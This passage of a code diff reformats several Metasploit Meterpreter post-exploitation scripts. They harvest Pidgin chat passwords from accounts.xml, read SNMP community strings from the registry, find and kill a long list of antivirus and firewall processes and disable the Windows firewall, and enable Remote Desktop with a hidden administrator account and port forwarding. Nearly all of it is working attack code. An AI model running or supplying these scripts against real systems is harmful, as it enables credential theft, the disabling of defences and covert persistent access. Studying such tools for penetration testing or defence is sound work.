password=element.elements["password"].text - end + accounts_xml = "" + creds = "" + print_status("Reading accounts.xml file...") + ### modified to use pidgin_path, which already has .purple in it + account_file = @client.fs.file.new(path + "\\accounts.xml", "rb") + until account_file.eof? + accounts_xml << account_file.read + end + account_file.close + doc = (REXML::Document.new accounts_xml).root + doc.elements.each("account") {|element| + password = "" + if element.elements["password"] + password=element.elements["password"].text + end - print_status("\tProtocol: #{element.elements["protocol"].text}") - print_status("\tUsername: #{element.elements["name"].text}") - print_status("\tPassword: #{element.elements["password"].text}") - print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}") - print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}") - print_status() + print_status("\tProtocol: #{element.elements["protocol"].text}") + print_status("\tUsername: #{element.elements["name"].text}") + print_status("\tPassword: #{element.elements["password"].text}") + print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}") + print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}") + print_status() - creds << "user=>#{element.elements["name"].text}" - creds << "\tpass=>#{password}" - creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}" - creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}" - creds << "\tproto=>#{element.elements["protocol"].text}\n" - } - return creds + creds << "user=>#{element.elements["name"].text}" + creds << "\tpass=>#{password}" + creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}" + creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}" + creds << "\tproto=>#{element.elements["protocol"].text}\n" + } + return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) - users = [] + users = [] - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - path4users = sysdrv + "\\users\\" - path2purple = "\\AppData\\Roaming\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - path2purple = "\\Application Data\\" - end + if os =~ /Windows 7|Vista|2008/ + path4users = sysdrv + "\\users\\" + path2purple = "\\AppData\\Roaming\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + path2purple = "\\Application Data\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + path2purple - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + path2purple - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + path2purple + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + path2purple + users << userinfo + end + return users end #------------------------------------------------------------------------------- ################## MAIN ################## if client.platform =~ /win32|win64/ - print_status("Running Meterpreter Pidgin Credential harvester script") - print_status("All services are logged at #{dest}") - enum_users(os).each do |u| - print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...") - ### Find the path (if it exists) for this user, - pidgin_path = check_pidgin(u['userappdata']) - if pidgin_path - print_status("Pidgin profile found!") - ### modified to use pidgin_path - if get_credentials - file_local_write(dest,extract_creds(pidgin_path)) - end - if get_buddies - file_local_write(dest,extract_buddies(pidgin_path)) - print_status("Buddie list has been saved to the log file.") - end - if get_logs - download_logs(logs,pidgin_path) - end - else - print_error("Pidgin profile not found!") - end - end + print_status("Running Meterpreter Pidgin Credential harvester script") + print_status("All services are logged at #{dest}") + enum_users(os).each do |u| + print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...") + ### Find the path (if it exists) for this user, + pidgin_path = check_pidgin(u['userappdata']) + if pidgin_path + print_status("Pidgin profile found!") + ### modified to use pidgin_path + if get_credentials + file_local_write(dest,extract_creds(pidgin_path)) + end + if get_buddies + file_local_write(dest,extract_buddies(pidgin_path)) + print_status("Buddie list has been saved to the log file.") + end + if get_logs + download_logs(logs,pidgin_path) + end + else + print_error("Pidgin profile not found!") + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index 6802176f107e..f27cd787dcd7 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -4,55 +4,55 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."] + "-h" => [ false, "Help menu."] ) def usage() - print("\nPull the SNMP community string from a Windows Meterpreter session\n\n") - completed + print("\nPull the SNMP community string from a Windows Meterpreter session\n\n") + completed end def get_community(session) - key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" - root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) - begin - # oddly enough this does not return the data field which indicates ro/rw - return open_key.enum_value.collect {|x| x.name} - rescue - # no registry key found or other error - return nil - end + key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" + root_key, base_key = session.sys.registry.splitkey(key) + open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) + begin + # oddly enough this does not return the data field which indicates ro/rw + return open_key.enum_value.collect {|x| x.name} + rescue + # no registry key found or other error + return nil + end end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } if client.platform =~ /win32|win64/ - print_status("Searching for community strings...") - strs = get_community(session) - if strs - strs.each do |str| - print_good("FOUND: #{str}") - @client.framework.db.report_auth_info( - :host => client.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => str, - :type => "snmp.community", - :duplicate_ok => true - ) - end - else - print_status("Not found") - end + print_status("Searching for community strings...") + strs = get_community(session) + if strs + strs.each do |str| + print_good("FOUND: #{str}") + @client.framework.db.report_auth_info( + :host => client.sock.peerhost, + :port => 161, + :proto => 'udp', + :sname => 'snmp', + :user => '', + :pass => str, + :type => "snmp.community", + :duplicate_ok => true + ) + end + else + print_status("Not found") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index 51a3200d302c..63c1b4f1c61a 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -5,370 +5,370 @@ # Version: 0.1.0 session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ], - "-d" => [ false, "Disable built in Firewall" ] + "-h" => [ false, "Help menu." ], + "-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ], + "-d" => [ false, "Disable built in Firewall" ] ) def usage - print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV") - print_line("processes, show XP firewall rules, and display DEP and UAC") - print_line("policies") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV") + print_line("processes, show XP firewall rules, and display DEP and UAC") + print_line("policies") + print(@@exec_opts.usage) + raise Rex::Script::Completed end #------------------------------------------------------------------------------- avs = %W{ - a2adguard.exe - a2adwizard.exe - a2antidialer.exe - a2cfg.exe - a2cmd.exe - a2free.exe - a2guard.exe - a2hijackfree.exe - a2scan.exe - a2service.exe - a2start.exe - a2sys.exe - a2upd.exe - aavgapi.exe - aawservice.exe - aawtray.exe - ad-aware.exe - ad-watch.exe - alescan.exe - anvir.exe - ashdisp.exe - ashmaisv.exe - ashserv.exe - ashwebsv.exe - aswupdsv.exe - atrack.exe - avgagent.exe - avgamsvr.exe - avgcc.exe - avgctrl.exe - avgemc.exe - avgnt.exe - avgtcpsv.exe - avguard.exe - avgupsvc.exe - avgw.exe - avkbar.exe - avk.exe - avkpop.exe - avkproxy.exe - avkservice.exe - avktray - avktray.exe - avkwctl - avkwctl.exe - avmailc.exe - avp.exe - avpm.exe - avpmwrap.exe - avsched32.exe - avwebgrd.exe - avwin.exe - avwupsrv.exe - avz.exe - bdagent.exe - bdmcon.exe - bdnagent.exe - bdss.exe - bdswitch.exe - blackd.exe - blackice.exe - blink.exe - boc412.exe - boc425.exe - bocore.exe - bootwarn.exe - cavrid.exe - cavtray.exe - ccapp.exe - ccevtmgr.exe - ccimscan.exe - ccproxy.exe - ccpwdsvc.exe - ccpxysvc.exe - ccsetmgr.exe - cfgwiz.exe - cfp.exe - clamd.exe - clamservice.exe - clamtray.exe - cmdagent.exe - cpd.exe - cpf.exe - csinsmnt.exe - dcsuserprot.exe - defensewall.exe - defensewall_serv.exe - defwatch.exe - f-agnt95.exe - fpavupdm.exe - f-prot95.exe - f-prot.exe - fprot.exe - fsaua.exe - fsav32.exe - f-sched.exe - fsdfwd.exe - fsm32.exe - fsma32.exe - fssm32.exe - f-stopw.exe - f-stopw.exe - fwservice.exe - fwsrv.exe - iamstats.exe - iao.exe - icload95.exe - icmon.exe - idsinst.exe - idslu.exe - inetupd.exe - irsetup.exe - isafe.exe - isignup.exe - issvc.exe - kav.exe - kavss.exe - kavsvc.exe - klswd.exe - kpf4gui.exe - kpf4ss.exe - livesrv.exe - lpfw.exe - mcagent.exe - mcdetect.exe - mcmnhdlr.exe - mcrdsvc.exe - mcshield.exe - mctskshd.exe - mcvsshld.exe - mghtml.exe - mpftray.exe - msascui.exe - mscifapp.exe - msfwsvc.exe - msgsys.exe - msssrv.exe - navapsvc.exe - navapw32.exe - navlogon.dll - navstub.exe - navw32.exe - nisemsvr.exe - nisum.exe - nmain.exe - noads.exe - nod32krn.exe - nod32kui.exe - nod32ra.exe - npfmntor.exe - nprotect.exe - nsmdtr.exe - oasclnt.exe - ofcdog.exe - opscan.exe - ossec-agent.exe - outpost.exe - paamsrv.exe - pavfnsvr.exe - pcclient.exe - pccpfw.exe - pccwin98.exe - persfw.exe - protector.exe - qconsole.exe - qdcsfs.exe - rtvscan.exe - sadblock.exe - safe.exe - sandboxieserver.exe - savscan.exe - sbiectrl.exe - sbiesvc.exe - sbserv.exe - scfservice.exe - sched.exe - schedm.exe - scheduler daemon.exe - sdhelp.exe - serv95.exe - sgbhp.exe - sgmain.exe - slee503.exe - smartfix.exe - smc.exe - snoopfreesvc.exe - snoopfreeui.exe - spbbcsvc.exe - sp_rsser.exe - spyblocker.exe - spybotsd.exe - spysweeper.exe - spysweeperui.exe - spywareguard.dll - spywareterminatorshield.exe - ssu.exe - steganos5.exe - stinger.exe - swdoctor.exe - swupdate.exe - symlcsvc.exe - symundo.exe - symwsc.exe - symwscno.exe - tcguard.exe - tds2-98.exe - tds-3.exe - teatimer.exe - tgbbob.exe - tgbstarter.exe - tsatudt.exe - umxagent.exe - umxcfg.exe - umxfwhlp.exe - umxlu.exe - umxpol.exe - umxtray.exe - usrprmpt.exe - vetmsg9x.exe - vetmsg.exe - vptray.exe - vsaccess.exe - vsserv.exe - wcantispy.exe - win-bugsfix.exe - winpatrol.exe - winpatrolex.exe - wrsssdk.exe - xcommsvr.exe - xfr.exe - xp-antispy.exe - zegarynka.exe - zlclient.exe + a2adguard.exe + a2adwizard.exe + a2antidialer.exe + a2cfg.exe + a2cmd.exe + a2free.exe + a2guard.exe + a2hijackfree.exe + a2scan.exe + a2service.exe + a2start.exe + a2sys.exe + a2upd.exe + aavgapi.exe + aawservice.exe + aawtray.exe + ad-aware.exe + ad-watch.exe + alescan.exe + anvir.exe + ashdisp.exe + ashmaisv.exe + ashserv.exe + ashwebsv.exe + aswupdsv.exe + atrack.exe + avgagent.exe + avgamsvr.exe + avgcc.exe + avgctrl.exe + avgemc.exe + avgnt.exe + avgtcpsv.exe + avguard.exe + avgupsvc.exe + avgw.exe + avkbar.exe + avk.exe + avkpop.exe + avkproxy.exe + avkservice.exe + avktray + avktray.exe + avkwctl + avkwctl.exe + avmailc.exe + avp.exe + avpm.exe + avpmwrap.exe + avsched32.exe + avwebgrd.exe + avwin.exe + avwupsrv.exe + avz.exe + bdagent.exe + bdmcon.exe + bdnagent.exe + bdss.exe + bdswitch.exe + blackd.exe + blackice.exe + blink.exe + boc412.exe + boc425.exe + bocore.exe + bootwarn.exe + cavrid.exe + cavtray.exe + ccapp.exe + ccevtmgr.exe + ccimscan.exe + ccproxy.exe + ccpwdsvc.exe + ccpxysvc.exe + ccsetmgr.exe + cfgwiz.exe + cfp.exe + clamd.exe + clamservice.exe + clamtray.exe + cmdagent.exe + cpd.exe + cpf.exe + csinsmnt.exe + dcsuserprot.exe + defensewall.exe + defensewall_serv.exe + defwatch.exe + f-agnt95.exe + fpavupdm.exe + f-prot95.exe + f-prot.exe + fprot.exe + fsaua.exe + fsav32.exe + f-sched.exe + fsdfwd.exe + fsm32.exe + fsma32.exe + fssm32.exe + f-stopw.exe + f-stopw.exe + fwservice.exe + fwsrv.exe + iamstats.exe + iao.exe + icload95.exe + icmon.exe + idsinst.exe + idslu.exe + inetupd.exe + irsetup.exe + isafe.exe + isignup.exe + issvc.exe + kav.exe + kavss.exe + kavsvc.exe + klswd.exe + kpf4gui.exe + kpf4ss.exe + livesrv.exe + lpfw.exe + mcagent.exe + mcdetect.exe + mcmnhdlr.exe + mcrdsvc.exe + mcshield.exe + mctskshd.exe + mcvsshld.exe + mghtml.exe + mpftray.exe + msascui.exe + mscifapp.exe + msfwsvc.exe + msgsys.exe + msssrv.exe + navapsvc.exe + navapw32.exe + navlogon.dll + navstub.exe + navw32.exe + nisemsvr.exe + nisum.exe + nmain.exe + noads.exe + nod32krn.exe + nod32kui.exe + nod32ra.exe + npfmntor.exe + nprotect.exe + nsmdtr.exe + oasclnt.exe + ofcdog.exe + opscan.exe + ossec-agent.exe + outpost.exe + paamsrv.exe + pavfnsvr.exe + pcclient.exe + pccpfw.exe + pccwin98.exe + persfw.exe + protector.exe + qconsole.exe + qdcsfs.exe + rtvscan.exe + sadblock.exe + safe.exe + sandboxieserver.exe + savscan.exe + sbiectrl.exe + sbiesvc.exe + sbserv.exe + scfservice.exe + sched.exe + schedm.exe + scheduler daemon.exe + sdhelp.exe + serv95.exe + sgbhp.exe + sgmain.exe + slee503.exe + smartfix.exe + smc.exe + snoopfreesvc.exe + snoopfreeui.exe + spbbcsvc.exe + sp_rsser.exe + spyblocker.exe + spybotsd.exe + spysweeper.exe + spysweeperui.exe + spywareguard.dll + spywareterminatorshield.exe + ssu.exe + steganos5.exe + stinger.exe + swdoctor.exe + swupdate.exe + symlcsvc.exe + symundo.exe + symwsc.exe + symwscno.exe + tcguard.exe + tds2-98.exe + tds-3.exe + teatimer.exe + tgbbob.exe + tgbstarter.exe + tsatudt.exe + umxagent.exe + umxcfg.exe + umxfwhlp.exe + umxlu.exe + umxpol.exe + umxtray.exe + usrprmpt.exe + vetmsg9x.exe + vetmsg.exe + vptray.exe + vsaccess.exe + vsserv.exe + wcantispy.exe + win-bugsfix.exe + winpatrol.exe + winpatrolex.exe + wrsssdk.exe + xcommsvr.exe + xfr.exe + xp-antispy.exe + zegarynka.exe + zlclient.exe } #------------------------------------------------------------------------------- # Check for the presence of AV, HIPS and Third Party firewall and/or kill the # processes associated with it def check(session,avs,killbit) - print_status("Checking for contermeasures...") - session.sys.process.get_processes().each do |x| - if (avs.index(x['name'].downcase)) - print_status("\tPossible countermeasure found #{x['name']} #{x['path']}") - if (killbit) - print_status("\tKilling process for countermeasure.....") - session.sys.process.kill(x['pid']) - end - end - end + print_status("Checking for contermeasures...") + session.sys.process.get_processes().each do |x| + if (avs.index(x['name'].downcase)) + print_status("\tPossible countermeasure found #{x['name']} #{x['path']}") + if (killbit) + print_status("\tKilling process for countermeasure.....") + session.sys.process.kill(x['pid']) + end + end + end end #------------------------------------------------------------------------------- # Get the configuration and/or disable the built in Windows Firewall def checklocalfw(session,killfw) - print_status("Getting Windows Built in Firewall configuration...") - opmode = "" - r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true}) - while(d = r.channel.read) - opmode << d - end - r.channel.close - r.close - opmode.split("\n").each do |o| - print_status("\t#{o}") - end - if (killfw) - print_status("Disabling Built in Firewall.....") - f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = f.channel.read) - if d =~ /The requested operation requires elevation./ - print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall") - end - end - f.channel.close - f.close - end + print_status("Getting Windows Built in Firewall configuration...") + opmode = "" + r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true}) + while(d = r.channel.read) + opmode << d + end + r.channel.close + r.close + opmode.split("\n").each do |o| + print_status("\t#{o}") + end + if (killfw) + print_status("Disabling Built in Firewall.....") + f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = f.channel.read) + if d =~ /The requested operation requires elevation./ + print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall") + end + end + f.channel.close + f.close + end end #------------------------------------------------------------------------------- # Function for getting the current DEP Policy on the Windows Target def checkdep(session) - tmpout = "" - depmode = "" - # Expand environment %TEMP% variable - tmp = session.fs.file.expand_path("%TEMP%") - # Create random name for the wmic output - wmicfile = sprintf("%.5d",rand(100000)) - wmicout = "#{tmp}\\#{wmicfile}" - print_status("Checking DEP Support Policy...") - r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true}) - sleep(2) - r.close - r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - tmpout << d - end - r.channel.close - r.close - session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true}) - depmode = tmpout.scan(/(\d)/) - if depmode.to_s == "0" - print_status("\tDEP is off for the whole system.") - elsif depmode.to_s == "1" - print_status("\tFull DEP coverage for the whole system with no exceptions.") - elsif depmode.to_s == "2" - print_status("\tDEP is limited to Windows system binaries.") - elsif depmode.to_s == "3" - print_status("\tDEP is on for all programs and services.") - end + tmpout = "" + depmode = "" + # Expand environment %TEMP% variable + tmp = session.fs.file.expand_path("%TEMP%") + # Create random name for the wmic output + wmicfile = sprintf("%.5d",rand(100000)) + wmicout = "#{tmp}\\#{wmicfile}" + print_status("Checking DEP Support Policy...") + r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true}) + sleep(2) + r.close + r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + tmpout << d + end + r.channel.close + r.close + session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true}) + depmode = tmpout.scan(/(\d)/) + if depmode.to_s == "0" + print_status("\tDEP is off for the whole system.") + elsif depmode.to_s == "1" + print_status("\tFull DEP coverage for the whole system with no exceptions.") + elsif depmode.to_s == "2" + print_status("\tDEP is limited to Windows system binaries.") + elsif depmode.to_s == "3" + print_status("\tDEP is on for all programs and services.") + end end #------------------------------------------------------------------------------- def checkuac(session) - print_status("Checking if UAC is enabled ...") - key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' - root_key, base_key = session.sys.registry.splitkey(key) - value = "EnableLUA" - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(value) - if v.data == 1 - print_status("\tUAC is Enabled") - else - print_status("\tUAC is Disabled") - end + print_status("Checking if UAC is enabled ...") + key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' + root_key, base_key = session.sys.registry.splitkey(key) + value = "EnableLUA" + open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(value) + if v.data == 1 + print_status("\tUAC is Enabled") + else + print_status("\tUAC is Disabled") + end end ################## MAIN ################## killbt = false killfw = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-k" - killbt = true - when "-d" - killfw = true - when "-h" - usage - end + case opt + when "-k" + killbt = true + when "-d" + killfw = true + when "-h" + usage + end } # get the version of windows if client.platform =~ /win32|win64/ - wnvr = session.sys.config.sysinfo["OS"] - print_status("Running Getcountermeasure on the target...") - check(session,avs,killbt) - if wnvr !~ /Windows 2000/ - checklocalfw(session, killfw) - checkdep(session) - end - if wnvr =~ /Windows Vista/ - checkuac(session) - end + wnvr = session.sys.config.sysinfo["OS"] + print_status("Running Getcountermeasure on the target...") + check(session,avs,killbt) + if wnvr !~ /Windows 2000/ + checklocalfw(session, killfw) + checkdep(session) + end + if wnvr =~ /Windows Vista/ + checkuac(session) + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index f027423a46b9..f9f1d01893f7 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -17,107 +17,107 @@ @dest = logs + "/clean_up_" + filenameinfo + ".rc" @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Enable RDP only." ], - "-p" => [ true, "The Password of the user to add." ], - "-u" => [ true, "The Username of the user to add." ], - "-f" => [ true, "Forward RDP Connection." ] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Enable RDP only." ], + "-p" => [ true, "The Password of the user to add." ], + "-u" => [ true, "The Username of the user to add." ], + "-f" => [ true, "Forward RDP Connection." ] ) def usage - print_line("Windows Remote Desktop Enabler Meterpreter Script") - print_line("Usage: getgui -u -p ") - print_line("Or: getgui -e") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Remote Desktop Enabler Meterpreter Script") + print_line("Usage: getgui -u -p ") + print_line("Or: getgui -e") + print(@@exec_opts.usage) + raise Rex::Script::Completed end def enablerd() - key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server' - value = "fDenyTSConnections" - begin - v = registry_getvaldata(key,value) - print_status "Enabling Remote Desktop" - if v == 1 - print_status "\tRDP is disabled; enabling it ..." - registry_setvaldata(key,value,0,"REG_DWORD") - file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"") - else - print_status "\tRDP is already enabled" - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server' + value = "fDenyTSConnections" + begin + v = registry_getvaldata(key,value) + print_status "Enabling Remote Desktop" + if v == 1 + print_status "\tRDP is disabled; enabling it ..." + registry_setvaldata(key,value,0,"REG_DWORD") + file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"") + else + print_status "\tRDP is already enabled" + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def enabletssrv() - rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" - begin - v2 = registry_getvaldata(rdp_key,"Start") - print_status "Setting Terminal Services service startup mode" - if v2 != 2 - print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." - service_change_startup("TermService","auto") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") - cmd_exec("sc start termservice") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - - else - print_status "\tTerminal Services service is already set to auto" - end - #Enabling Exception on the Firewall - print_status "\tOpening port in local firewall if necessary" - cmd_exec('netsh firewall set service type = remotedesktop mode = enable') - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"") - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" + begin + v2 = registry_getvaldata(rdp_key,"Start") + print_status "Setting Terminal Services service startup mode" + if v2 != 2 + print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." + service_change_startup("TermService","auto") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") + cmd_exec("sc start termservice") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") + + else + print_status "\tTerminal Services service is already set to auto" + end + #Enabling Exception on the Firewall + print_status "\tOpening port in local firewall if necessary" + cmd_exec('netsh firewall set service type = remotedesktop mode = enable') + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"") + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def addrdpusr(session, username, password) - rdu = resolve_sid("S-1-5-32-555")[:name] - admin = resolve_sid("S-1-5-32-544")[:name] - - - print_status "Setting user account for logon" - print_status "\tAdding User: #{username} with Password: #{password}" - begin - addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") - if addusr_out =~ /success/i - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tHiding user from Windows Login screen" - hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' - registry_setvaldata(hide_user_key,username,0,"REG_DWORD") - file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") - print_status "\tAdding User: #{username} to local group '#{rdu}'" - cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - - print_status "\tAdding User: #{username} to local group '#{admin}'" - cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") - print_status "You can now login with the created user" - else - print_error("Account could not be created") - print_error("Error:") - addusr_out.each_line do |l| - print_error("\t#{l.chomp}") - end - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + rdu = resolve_sid("S-1-5-32-555")[:name] + admin = resolve_sid("S-1-5-32-544")[:name] + + + print_status "Setting user account for logon" + print_status "\tAdding User: #{username} with Password: #{password}" + begin + addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") + if addusr_out =~ /success/i + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") + print_status "\tHiding user from Windows Login screen" + hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' + registry_setvaldata(hide_user_key,username,0,"REG_DWORD") + file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") + print_status "\tAdding User: #{username} to local group '#{rdu}'" + cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") + + print_status "\tAdding User: #{username} to local group '#{admin}'" + cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") + print_status "You can now login with the created user" + else + print_error("Account could not be created") + print_error("Error:") + addusr_out.each_line do |l| + print_error("\t#{l.chomp}") + end + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def message - print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator" - print_status "Carlos Perez carlos_perez@darkoperator.com" + print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator" + print_status "Carlos Perez carlos_perez@darkoperator.com" end ################## MAIN ################## # Parsing of Options @@ -129,55 +129,55 @@ def message frwrd = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-u" - usr = val - when "-p" - pass = val - when "-h" - usage - when "-f" - frwrd = true - lport = val - when "-e" - enbl = true - end + case opt + when "-u" + usr = val + when "-p" + pass = val + when "-h" + usage + when "-f" + frwrd = true + lport = val + when "-e" + enbl = true + end } if client.platform =~ /win32|win64/ - if args.length > 0 - if enbl or (usr and pass) - message - if enbl - if is_admin? - enablerd() - enabletssrv() - else - print_error("Insufficient privileges, Remote Desktop Service was not modified.") - end - end - - if usr and pass - if is_admin? - addrdpusr(session, usr, pass) - else - print_error("Insufficient privileges, account was not be created.") - end - end - - if frwrd == true - print_status("Starting the port forwarding at local port #{lport}") - client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") - end - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") - else - usage - end - - else - usage - end + if args.length > 0 + if enbl or (usr and pass) + message + if enbl + if is_admin? + enablerd() + enabletssrv() + else + print_error("Insufficient privileges, Remote Desktop Service was not modified.") + end + end + + if usr and pass + if is_admin? + addrdpusr(session, usr, pass) + else + print_error("Insufficient privileges, account was not be created.") + end + end + + if frwrd == true + print_status("Starting the port forwarding at local port #{lport}") + client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") + end + print_status("For cleanup use command: run multi_console_command 